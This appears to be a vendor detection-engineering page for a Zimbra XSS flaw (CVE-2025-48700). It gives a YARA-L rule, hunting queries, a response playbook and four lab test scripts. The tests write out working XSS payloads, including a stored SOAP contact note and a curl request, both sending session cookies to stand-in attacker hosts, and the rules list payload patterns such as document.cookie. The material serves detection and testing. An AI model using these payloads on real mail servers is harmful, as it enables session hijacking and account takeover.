Detect Zimbra Collaboration Suite XSS Exploitation (CVE-2025-48700) in Google Chronicle
Detects exploitation of a stored or reflected cross-site scripting (XSS) vulnerability in Synacor Zimbra Collaboration Suite (ZCS). This KEV-listed vulnerability allows attackers to inject malicious scripts into the Zimbra web client, potentially leading to session hijacking, credential theft, or further lateral movement within the organization. XSS in webmail platforms is frequently exploited by threat actors to steal session tokens and pivot to email account compromise.
MITRE ATT&CK
YARA-L Detection Query
rule zimbra_xss_cve_2025_48700 {
meta:
author = "df00tech Detection Engineering"
description = "Detects XSS exploitation attempts against Zimbra Collaboration Suite (CVE-2025-48700)"
severity = "HIGH"
priority = "HIGH"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-48700"
cve = "CVE-2025-48700"
yara_version = "YL2.0"
rule_version = "1.0"
events:
$e.metadata.event_type = "NETWORK_HTTP"
(
re.regex($e.network.http.request_url, `(?i)(/zimbra/|/service/soap|/h/|/m/)`)
or re.regex($e.target.hostname, `(?i)(zimbra|webmail)`)
)
(
re.regex($e.network.http.request_url, `(?i)(<script|javascript:|onerror=|onload=|eval\(|document\.cookie|document\.location|String\.fromCharCode|atob\()`)
or re.regex($e.network.http.request_url, `(%3Cscript|%6A%61%76%61%73%63%72%69%70%74|&#[xX]3[cC])`)
or re.regex($e.network.http.referral_url, `(?i)(<script|javascript:|onerror=|onload=)`)
)
$e.network.http.response_code in (200, 301, 302, 400)
match:
$e.principal.ip over 10m
outcome:
$risk_score = max(
if($e.network.http.response_code = 200, 80, 50)
)
$xss_payloads = array_distinct($e.network.http.request_url)
$target_hosts = array_distinct($e.target.hostname)
$source_ips = array_distinct($e.principal.ip)
condition:
#e >= 1
} Chronicle YARA-L 2.0 rule that detects XSS payload patterns in HTTP requests targeting Zimbra URL paths, matching both raw and URL-encoded XSS variants in request URLs and referrer headers.
Data Sources
Required Tables
False Positives & Tuning
- Authorized red team exercises targeting Zimbra infrastructure that generate XSS payloads
- Email security gateway scanning that generates test XSS payloads in log entries
- Legitimate Zimbra admin operations involving HTML content in URL parameters
- Third-party integrations using Zimbra APIs that pass encoded data resembling XSS patterns
Other platforms for CVE-2025-48700
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Basic Reflected XSS Probe via Zimbra Search Parameter
Expected signal: Web server access log entry showing GET /zimbra/h/search with q=%3Cscript%3E... URL-encoded payload, HTTP 200 response, source IP of test system
- Test 2Event Handler XSS Payload Delivery via Zimbra URL Parameter
Expected signal: Web server access log showing GET requests to /zimbra/h/compose and /zimbra/h/ with onerror= and onload= patterns in URI query strings, HTTP response codes
- Test 3Simulated Session Cookie Exfiltration via XSS in Zimbra (Post-Exploitation)
Expected signal: Outbound HTTP GET request from Zimbra user's source IP to external attacker-controlled IP containing URL-encoded session token data in the query string; proxy/firewall logs showing unusual outbound connection from Zimbra webmail user IP
- Test 4Stored XSS Payload Submission via Zimbra SOAP API
Expected signal: Zimbra nginx access log showing POST to /service/soap with HTTP 200 response; Zimbra mailbox.log showing CreateContactRequest SOAP operation; POST body (if logged) containing the HTML-encoded XSS payload in the notes field
Response Playbook
Triage
- Identify the source IP address and user account associated with the XSS payload delivery. Determine if the IP is external, an internal trusted host, or a known scanner. Check threat intelligence feeds for the source IP reputation.
- Review Zimbra web server access logs for the specific request containing the XSS payload. Extract the full URI, query parameters, referrer, and user-agent string. Determine if the payload was reflected (in URL) or stored (submitted via form/POST body).
- Determine if the XSS payload was successfully rendered in a victim browser by checking for follow-up requests from the same session that indicate JavaScript execution (e.g., outbound beacon to attacker-controlled host, session token exfiltration, cookie theft attempts).
- Check Zimbra application logs (/opt/zimbra/log/mailbox.log, /opt/zimbra/log/nginx.access.log) for abnormal POST requests to /zimbra/h/compose, /service/soap, or zimlet endpoints that may indicate stored XSS submission.
Containment
- If active exploitation is confirmed, immediately block the source IP at the perimeter firewall and web application firewall (WAF). Enable WAF rules specifically targeting XSS patterns for all Zimbra endpoints if not already active.
- If session hijacking is suspected following XSS execution, force invalidation of all active Zimbra sessions via zmprov (e.g., 'zmprov -l gaaa' to list accounts, followed by session termination). Reset credentials for any accounts that received the malicious email or visited the affected Zimbra URL.
- Apply the vendor security patch from Zimbra Security Advisories (https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories) immediately. If patching is not immediately possible, consider temporarily restricting access to affected Zimbra web components.
Evidence Collection
- Collect full Zimbra web server access logs (/opt/zimbra/log/nginx.access.log or equivalent), application logs (/opt/zimbra/log/mailbox.log), and audit logs for the time window surrounding the detected XSS activity. Preserve with chain of custody.
- If browser-side execution is suspected, collect memory dump or browser forensics from any endpoint that accessed the malicious Zimbra URL. Look for evidence of document.cookie exfiltration, localStorage access, or outbound JavaScript-initiated connections in proxy/DNS logs.
- Capture network traffic (PCAP) from the Zimbra server's network interface during or after the incident to identify any C2 callbacks, data exfiltration, or credential harvesting traffic initiated by the injected JavaScript payload.
Escalation Criteria
- !Escalate immediately if there is evidence that the XSS payload resulted in session token theft or account takeover, particularly for privileged accounts (Zimbra admin, executive mailboxes, or service accounts with broad access).
- !Escalate to incident response if the XSS appears to be part of a targeted phishing or business email compromise (BEC) campaign — for example, if malicious content was delivered via a crafted email that, when viewed in Zimbra webmail, triggered the XSS payload against multiple recipients.
- !Escalate if post-exploitation activity is detected on the Zimbra server host itself (e.g., reverse shell, new cron jobs, unauthorized SSH access, file modification in /opt/zimbra), suggesting the XSS was used as an initial foothold for server-side compromise.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Zimbra nginx access log entries (/opt/zimbra/log/nginx.access.log) containing XSS payload strings in request URI or referrer fields with HTTP 200 response codes - >
Zimbra mailbox application logs (/opt/zimbra/log/mailbox.log) showing abnormal SOAP API calls or zimlet invocations that may indicate stored XSS trigger events - >
Outbound DNS queries from Zimbra server or client endpoints to attacker-controlled domains occurring shortly after the XSS trigger time (indicative of JavaScript-initiated beacon or data exfiltration) - >
Browser history and cache artifacts on client endpoints showing access to malicious Zimbra URLs containing XSS payload strings - >
Proxy/firewall logs showing unusual outbound HTTP POST requests from Zimbra user sessions to external infrastructure following the XSS event window
Tuning Guidance
Reduce false positives by baselining normal Zimbra URI query patterns in your environment and excluding known scanner IP ranges and authorized pen-test windows. Add allowlist entries for internal security scanning tools. If Zimbra sits behind a reverse proxy, ensure the actual client IP is preserved in X-Forwarded-For headers and parsed correctly by your SIEM. For stored XSS scenarios, focus detection on POST requests to /zimbra/h/compose or SOAP endpoints rather than GET parameters. Consider correlating XSS detections with subsequent unusual Zimbra SOAP API calls (especially GetInfoRequest, GetMessageRequest, or ForwardAppointmentRequest on behalf of another user) to reduce noise and prioritize confirmed exploitation. Tune confidence to 'high' once you have confirmed the specific Zimbra version in your environment is affected and have verified query syntax against your log format.
Hunting Queries
Threat hunting query to retrospectively identify XSS payload delivery attempts against Zimbra endpoints over the past 7 days, with URL decoding to catch encoded payloads that may have evaded signature-based detection
W3CIISLog
| where csUriStem has_any ("/zimbra/", "/service/soap", "/h/", "/m/")
| where TimeGenerated > ago(7d)
| extend DecodedQuery = url_decode(csUriQuery)
| where DecodedQuery has_any ("<script", "javascript:", "onerror=", "onload=", "eval(", "document.cookie", "document.location", "innerHTML", "document.write")
| project TimeGenerated, Computer, cIP = c_ip, csUsername, csUriStem, DecodedQuery, csUserAgent = cs_User_Agent, scStatus = sc_status
| order by TimeGenerated desc index=web OR index=zimbra earliest=-7d
(uri_path="/zimbra/*" OR uri_path="/service/soap*" OR uri_path="/h/*" OR uri_path="/m/*")
| rex field=uri_query mode=sed "s/%([0-9A-Fa-f]{2})/\x\1/g" OUTPUT decoded_query
| where like(coalesce(decoded_query, uri_query), "%<script%") OR like(coalesce(decoded_query, uri_query), "%javascript:%") OR like(coalesce(decoded_query, uri_query), "%onerror=%") OR like(coalesce(decoded_query, uri_query), "%document.cookie%") OR like(coalesce(decoded_query, uri_query), "%eval(%")
| table _time, src_ip, http_user_name, uri_path, decoded_query, http_user_agent, status
| sort - _time Hunt for outbound network connections from Zimbra user IPs to external infrastructure within 30 minutes of a detected XSS payload delivery, which may indicate JavaScript-initiated session token exfiltration or C2 beacon
// Hunt for potential session token exfiltration following Zimbra XSS
let ZimbraXSSTime = W3CIISLog
| where csUriStem has_any ("/zimbra/", "/service/soap")
| where csUriQuery has_any ("<script", "javascript:", "onerror=", "document.cookie")
| project XSSTime = TimeGenerated, VictimIP = c_ip;
CommonSecurityLog
| where TimeGenerated > ago(24h)
| join kind=inner ZimbraXSSTime on $left.SourceIP == $right.VictimIP
| where TimeGenerated between (XSSTime .. (XSSTime + 30m))
| where not(DestinationIP has_any ("10.", "172.16.", "192.168.", "127."))
| project TimeGenerated, SourceIP, DestinationIP, DestinationPort, RequestURL, ApplicationProtocol, XSSTime
| order by TimeGenerated asc index=web OR index=proxy earliest=-24h
[search index=web (uri_path="/zimbra/*" OR uri_path="/service/soap*") (uri_query="*<script*" OR uri_query="*javascript:*" OR uri_query="*document.cookie*") | dedup src_ip | return 100 src_ip]
| where NOT (dest_ip="10.*" OR dest_ip="172.16.*" OR dest_ip="192.168.*" OR dest_ip="127.*")
| eval time_after_xss=strftime(_time, "%Y-%m-%d %H:%M:%S")
| table time_after_xss, src_ip, dest_ip, dest_port, url, bytes_out
| sort + _time Atomic Red Team Tests
Simulates an attacker testing for reflected XSS in the Zimbra search functionality by injecting a basic script tag payload into the 'q' query parameter. This tests whether the vulnerability surface is present and whether the response reflects the payload.
Command
# Lab environment only — requires test Zimbra instance
# Replace ZIMBRA_HOST and valid session cookie with lab values
ZIMBRA_HOST="zimbra.lab.internal"
SESSION_COOKIE="ZM_AUTH_TOKEN=your_test_token_here"
# Test basic script tag reflection
curl -sk -H "Cookie: $SESSION_COOKIE" \
"https://$ZIMBRA_HOST/zimbra/h/search?q=%3Cscript%3Ealert%28%27CVE-2025-48700-XSS-TEST%27%29%3C%2Fscript%3E" \
-o /tmp/zimbra_xss_response.html
# Check if payload is reflected in response
if grep -q "CVE-2025-48700-XSS-TEST" /tmp/zimbra_xss_response.html; then
echo "[!] REFLECTED XSS CONFIRMED: Payload found in response body"
else
echo "[*] Payload not reflected in response (may be encoded or filtered)"
fi
grep -o '.*CVE-2025-48700.*' /tmp/zimbra_xss_response.html | head -5 Cleanup
rm -f /tmp/zimbra_xss_response.html Expected Telemetry
Web server access log entry showing GET /zimbra/h/search with q=%3Cscript%3E... URL-encoded payload, HTTP 200 response, source IP of test system
Expected Detection
The XSS detection query should trigger on the URL-encoded script tag in the URI query parameter matching against Zimbra path /zimbra/h/search
Tests XSS via event handler attributes (onerror, onload) which may bypass naive script-tag-only filters. This simulates a more sophisticated attacker using alternative XSS vectors.
Command
# Lab environment only
ZIMBRA_HOST="zimbra.lab.internal"
SESSION_COOKIE="ZM_AUTH_TOKEN=your_test_token_here"
ATTACKER_LOG="/tmp/zimbra_xss_event_handler.log"
# Test onerror event handler variant
curl -sk -H "Cookie: $SESSION_COOKIE" \
"https://$ZIMBRA_HOST/zimbra/h/compose?to=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.cookie%29%3E" \
-D - -o /tmp/zimbra_onerror_response.html 2>&1 | tee $ATTACKER_LOG
# Test onload variant
curl -sk -H "Cookie: $SESSION_COOKIE" \
"https://$ZIMBRA_HOST/zimbra/h/?onload=alert(1)" \
-o /tmp/zimbra_onload_response.html
echo "[*] Checking for payload reflection..."
grep -c 'onerror\|onload' /tmp/zimbra_onerror_response.html /tmp/zimbra_onload_response.html 2>/dev/null Cleanup
rm -f /tmp/zimbra_xss_event_handler.log /tmp/zimbra_onerror_response.html /tmp/zimbra_onload_response.html Expected Telemetry
Web server access log showing GET requests to /zimbra/h/compose and /zimbra/h/ with onerror= and onload= patterns in URI query strings, HTTP response codes
Expected Detection
Detection query should match on onerror= and onload= patterns in URI query fields targeting Zimbra paths, flagging the event_handler XSS indicator type
Simulates the post-XSS phase where an injected JavaScript payload attempts to exfiltrate the victim's session cookie to an attacker-controlled server. Tests whether outbound exfiltration traffic from a Zimbra user session is detectable.
Command
# Lab environment only — simulates the outbound beacon from XSS payload execution
# This tests detection of the exfiltration, not the XSS injection itself
# Start a simple listener to receive the simulated exfiltration
nc -lvnp 8888 > /tmp/captured_exfil.txt &
NC_PID=$!
# Simulate what document.cookie exfiltration looks like in network traffic
# (Replace with your lab attacker IP)
ATTACKER_IP="192.168.100.10"
SIMULATED_COOKIE="ZM_AUTH_TOKEN=0_abc123def456_zimbra_test_session_token"
curl -sk "http://$ATTACKER_IP:8888/?stolen_cookie=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$SIMULATED_COOKIE'))")"
# Check what was captured
sleep 1
kill $NC_PID 2>/dev/null
cat /tmp/captured_exfil.txt
echo "[*] Simulated XSS cookie exfiltration completed. Check proxy/firewall logs for outbound GET to port 8888." Cleanup
kill $(lsof -ti:8888) 2>/dev/null; rm -f /tmp/captured_exfil.txt Expected Telemetry
Outbound HTTP GET request from Zimbra user's source IP to external attacker-controlled IP containing URL-encoded session token data in the query string; proxy/firewall logs showing unusual outbound connection from Zimbra webmail user IP
Expected Detection
The hunting query correlating Zimbra XSS events with subsequent outbound connections should identify this exfiltration attempt within the 30-minute post-XSS time window
Simulates an attacker storing an XSS payload in a Zimbra resource (e.g., contact note, calendar event, or email draft) via the SOAP API, which would trigger when a victim views the content in the Zimbra web client.
Command
# Lab environment only
ZIMBRA_HOST="zimbra.lab.internal"
SESSION_TOKEN="your_test_zm_auth_token"
# Craft SOAP request with XSS payload in contact note field
SOAP_PAYLOAD='<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<context xmlns="urn:zimbra">
<authToken>'$SESSION_TOKEN'</authToken>
</context>
</soap:Header>
<soap:Body>
<CreateContactRequest xmlns="urn:zimbraMail">
<cn>
<a n="firstName">XSS</a>
<a n="lastName">TestContact</a>
<a n="notes"><script>document.location="http://attacker.lab/steal?c="+document.cookie</script></a>
</cn>
</CreateContactRequest>
</soap:Body>
</soap:Envelope>'
curl -sk \
-H 'Content-Type: application/soap+xml; charset=utf-8' \
-H 'SOAPAction: CreateContactRequest' \
-d "$SOAP_PAYLOAD" \
"https://$ZIMBRA_HOST/service/soap" \
| python3 -m json.tool 2>/dev/null || cat
echo "[*] Check Zimbra mailbox.log for CreateContactRequest with XSS payload" Cleanup
# Remove test contact via Zimbra admin console or 'zmprov' CLI
# zmprov -l gdl <test_account>@zimbra.lab.internal to verify contact deletion Expected Telemetry
Zimbra nginx access log showing POST to /service/soap with HTTP 200 response; Zimbra mailbox.log showing CreateContactRequest SOAP operation; POST body (if logged) containing the HTML-encoded XSS payload in the notes field
Expected Detection
Detection tuned for POST requests to /service/soap should capture this stored XSS submission attempt; network inspection or CASB solutions may detect the XSS payload in the SOAP body if deep packet inspection is enabled